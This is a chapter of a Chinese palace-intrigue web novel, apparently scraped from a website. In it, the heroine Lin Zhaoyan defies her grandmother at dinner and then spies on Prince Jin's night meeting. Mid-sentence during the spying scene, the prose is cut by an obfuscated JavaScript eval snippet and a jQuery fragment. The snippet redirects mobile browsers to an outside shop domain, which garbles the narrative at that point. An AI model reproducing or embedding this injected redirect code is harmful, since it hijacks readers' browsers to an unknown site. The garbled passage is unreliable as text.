“啊啊啊!”
尖叫声顿时响彻正厅,众人纷纷起身想避开洒落的菜渍,但都无一幸免的多少都粘上了点。
“放肆!”一整晚没说话的安太妃终于开了金口。
站在安太妃身侧的嬷嬷连忙上前扶着她站起来,将拐杖递到安太妃手里。
安太妃的身体还算硬朗,平时很少用拐杖,只是偶尔需要这拐杖来撑撑场面。
安太妃握住手里的拐杖猛地敲在了地面上,对着林朝颜怒声呵道:“林朝颜,你如此不服管教,目无尊长,是要我请出家法吗?!”
林朝颜听到这话,不合时宜的在心里蛐蛐了起来,果真是有此母必有此子,跟瑾王一个做派,高高在上。
“来人!上家法!”
安太妃此时是真的动怒了,声音压的低沉,尾音微微有些发颤,握着拐杖的手也在微微发抖,不知是气的还是方才敲的时候用力过猛。
徐管家身体轻颤,哆哆嗦嗦的应了声就出去准备家法了,他虽当了十几年瑾王府的管家,但这瑾王府已许多年未曾有这么多贵人在了,他早已自由惯了,哪里见过这等场面的。
“祖母您可以试试,就看您三日后还有没有完好的永宁公主去出嫁。”
“你!”
林朝颜此时心情格外的好,没睡饱的起床气在此时消散的一干二净。
她将手肘搭在旁边已经吓呆了的三姨娘肩膀上撑着,嘴角勾着戏谑的笑意继续道:“您有什么家法尽管往我身上使,我绝不反抗,大不了出嫁那日让姐姐替我去,不然这浑身是伤的让我出嫁岂不是丢了你们瑾王府的脸?”
“母亲不可!”瑾王妃此时也着急了,把林朝颜找回来本就是为了让她替嫁,现又换回去的话那岂不是白费功夫了。
“你!”安太妃气急攻心,胸口剧烈起伏起来,面色涨红,呼吸粗重急促,愣是说不出一句完整的话,脚下踉跄了两下。
“母亲!”瑾王急忙上前扶住了安太妃,将人扶到身后的太妃椅坐下。
安顿好安太妃后,瑾王刚想转头把林朝颜训一顿,结果屋内早没了林朝颜的身影。
只听见屋外传来一句:“若是祖母准备好家法了,记得来静淑院告知孙女,孙女定准时到~”
林朝颜哼着不着调的歌曲,开心的晃着脑袋回院子补觉去了。
看来这次她能安稳的睡个好觉了。
瑾王也没追出去,将正厅里的众人相继遣散,屋内只剩了安太妃、瑾王、瑾王妃、林正阳和林青黛几人。
安太妃坐在太妃椅上,仍急喘不停,瑾王在身侧轻拍着她的后背,给她顺顺气。
“母亲,儿子让人去请太医了,您莫再动怒好生歇息着。”
“无碍,气急攻心罢了。”安太妃勉强吐出一句安慰的话。
站在另一侧的瑾王妃此时终于忍不住,她往前半步在太妃椅旁蹲下,抬手在安太妃腿上按揉起来。
随即小心翼翼地说:“母亲,这家法..要不算了吧?若真打伤了她,三日后出嫁我们也不好跟圣上交代,总不能真让明华去和亲吧?”
安太妃抚着额头,旁边的嬷嬷正轻轻的按压她的太阳穴,听见瑾王妃求情的话,丝毫不留情面的冷哼道:“哼,你生的好女儿,当初生下她的时候就让你溺死,你倒好,瞒着所有人把人送走了,结果教出个什么孽障来!”
瑾王妃身子一僵,不敢继续求情了,当初她一时心软,想留下那孩子,但时过境迁,如今的她也无比后悔当初做的这个决定。
“祖母,孙女不想嫁吐蕃太子,孙女想一直留在祖母身边好不好嘛~父亲,您帮孙女跟祖母说说情好不好~”
林青黛见气氛僵硬,开口撒着娇往安太妃身侧靠,依在安太妃身旁晃晃安太妃又晃晃瑾王。
“祖母,孙儿也不愿长姐和亲。”和亲意味着远嫁,那他以后就见不到长姐了。
林青黛的撒娇让安太妃心里熨帖不少,气也消了一大半,她慈爱的伸手抚摸林青黛脸颊哄着:“好好好,咱们青黛不嫁,祖母不罚她就是了。”
“不用家法,那夫人便给她一点教训吧。”瑾王顺着安太妃的话定下了此事,话里也示意瑾王妃就算不弄出伤,也可以找借口教训林朝颜。
“是,妾身定管教好她。”
瑾王妃嘴角上扬,明显是对这结果非常满意,这样她也能一并把下午受的气出了。
瑾王眼神闪过一丝算计,今日林朝颜在众人面前落了他的面子,他自是不会让她好过的。
余光瞥过林青黛,她,还有用。
***
子时,明月高挂。
侧身抱着被子躺在床上的林朝颜睁开了双眼,眼睛清澈明亮,不像刚睡醒的模样。
她身子后仰,大大的伸了个懒腰,细听还能听到骨节发出细碎的咯吱声。
林朝颜抬头看了一眼夜色,时机把握的刚刚好。
起身掀开床幔余光扫过外间,知霜正趴在小矮榻上浅睡。
林朝颜将枕头塞进被子里,掩盖成有人在睡觉的样子,随后走进里间拿出自己从山上带来的包袱。
许是因自小练武,林朝颜走起路来像猫一样,没有一点脚步声,
打开灰色土布的包袱,只见里面放着两套轻便的衣服,一套是黑色无花纹男士劲装,内里放着一条裹布,另一套则是嫩绿色立领斜襟短袄,衣服底下还藏着一把匕首。
林朝颜将裹布缠绕在胸前,换上劲装,将头发绾成简单的单髻,罩上网巾,用一根木簪将发髻固定住。
原本明艳动人的姑娘瞬间变成了一名翩翩公子。
她这一套动作做的行云流水,显然是平日里经常这样打扮。
简单收拾好自己,林朝颜拿出匕首将它藏于腰侧,走到靠近柴房的窗边,一个翻身,人便到了屋外。
她紧贴着院外的墙壁站起身子,黑色的劲装让她仿佛与夜色融为一体。
为了防止她逃婚,瑾王在林朝颜的院子里安排了不少的暗卫,这是她下午观察时发现的一个死角,但她不敢大意,仍警惕的打量四周。
林朝颜屏气贴着墙壁快速移动,直到出了静淑苑她才稍舒一口气,剩下的路就好走了很多,
她本想用轻功飞上房顶走起来会更快些,但今日安太妃身子不适请了太医,来来回回折腾到很晚才闭院落锁,她怕弄出声响被人发现,最后还是决定用走的安稳些。
林朝颜过了垂花门,径直往静思院走去。
静思院是瑾王在瑾王府内的书房,平日与人议事都在静思院。
林朝颜途中还碰见提着灯笼巡逻的护卫,她直接一个飞身,整个人趴在屋檐下方,将自己隐藏在房梁中,等护卫离开有半刻钟她才飞身下地,继续朝着静思院疾行。
不足半个时辰林朝颜便到了静思院外,翻身进了院内,此时的她弯腰贴着墙悄悄靠近窗户边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904878|213003||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
不出她所料,此时瑾王还未安寝,静思院内烛火通明。
距离她出嫁还剩两日,瑾王从苍梧返京待不了几日就得回去,所以若是他有所图谋,那这几日,他必须争分夺秒的做安排。
林朝颜敛息屏气,指尖微微抬起窗户的一角,透过缝隙看向屋内。
屋内除了瑾王还有两名高大男子,两人身穿玄衣,侧对着林朝颜,其中一名身形颇为高大,左脸有一道从眉骨至下颚的旧疤。
“主子,苏玉娥从拾春楼里给您带了消息,当年接生的稳婆查到大致的省城,这是她给您的信。”
脸上有疤的男子从衣襟里拿出一封信递到瑾王面前,瑾王没有避开两名男子,直接将信件展开查看起来。
林朝颜看不清信件上的文字,只透过缝隙依稀看到信件上画了一个图腾。
图腾的主体是一头狰狞的凶兽,凶兽脚踩碎裂的云雷纹,但屋内灯光昏暗,林朝颜看不清是何凶兽。
瑾王看完信件直接燃火烧尽,随口分派了任务给玄衣男子:“你去派几个人协助苏玉娥尽快找到稳婆。”
“是。”玄衣男子拱手领命。
“莫行之和莫景山有动作吗?”
“回主子,没有。”
莫行之?这不是圣旨里提到三日后将护送她出大昭的莫小将军?
“继续盯紧他们,有什么动静回来告诉我。让拾春楼也盯紧京内的风声,等我归来。”
“是。”
“谁?!”
另一名玄色男子眸光陡然望向林朝颜方向,其余两人顺着男子的视线也望向了窗口,一颗石子从男子指尖弹射出,向着林朝颜的窗口飞来。
遭了,被发现了!
林朝颜暗叫不好,缩回脑袋用极快的速度掏出面罩带上,脚掌运气向着瑾王府外飞去。
屋内脸带伤疤的玄色男子欺身向前,也跟着林朝颜的脚步追了上去。
好在林朝颜练武时没有偷懒过,轻功连得极好,与伤疤男的距离越来越远,不一会的功夫便将伤疤男甩开了。
林朝颜一个转身,换了个方向继续飞,足尖在瓦片上接连点过,在高低错落的屋檐之间疾跑,她得尽快回到静淑院才行。
此时的瑾王府灯火通明,护卫们挨个院子通知府内出现刺客,刚熟睡不久的主子们急忙起身,府内乱做一团,
倒是静淑院还安静着,一是院落过于偏僻了,二是乱起来护卫一时忘了林朝颜这号人了。
林朝颜倒是庆幸,还好院子够偏。
许是府内出了刺客,守在静淑院的暗卫少了一半,林朝颜也顺利的回到屋内,快速将衣服换好藏起,掀开床幔和被子,脚一登,整个人便直直的躺在床上了。
饶是院子再偏,府内此番热闹知霜她们不可能听不见。
知霜惊醒后便去前院打听了一番,得知府内竟是出了刺客,又慌慌张张的进屋内喊人了。
“殿下,府内出刺客了,您要不起来避一避?”
“知霜乖,别吵,刺不到我们这。”
知霜觉得林朝颜这次醒的特别快,总觉得哪里怪怪的,但又不知是哪里怪。
“啊?刺不到吗?”知霜一时懵了,也不知道自己现在是睡还是不睡好。
“刺不到,安心睡吧,外人哪里知道王府还有个我。”
知霜想了想也是,便也安心的出去了,只是睡是不敢再继续睡了。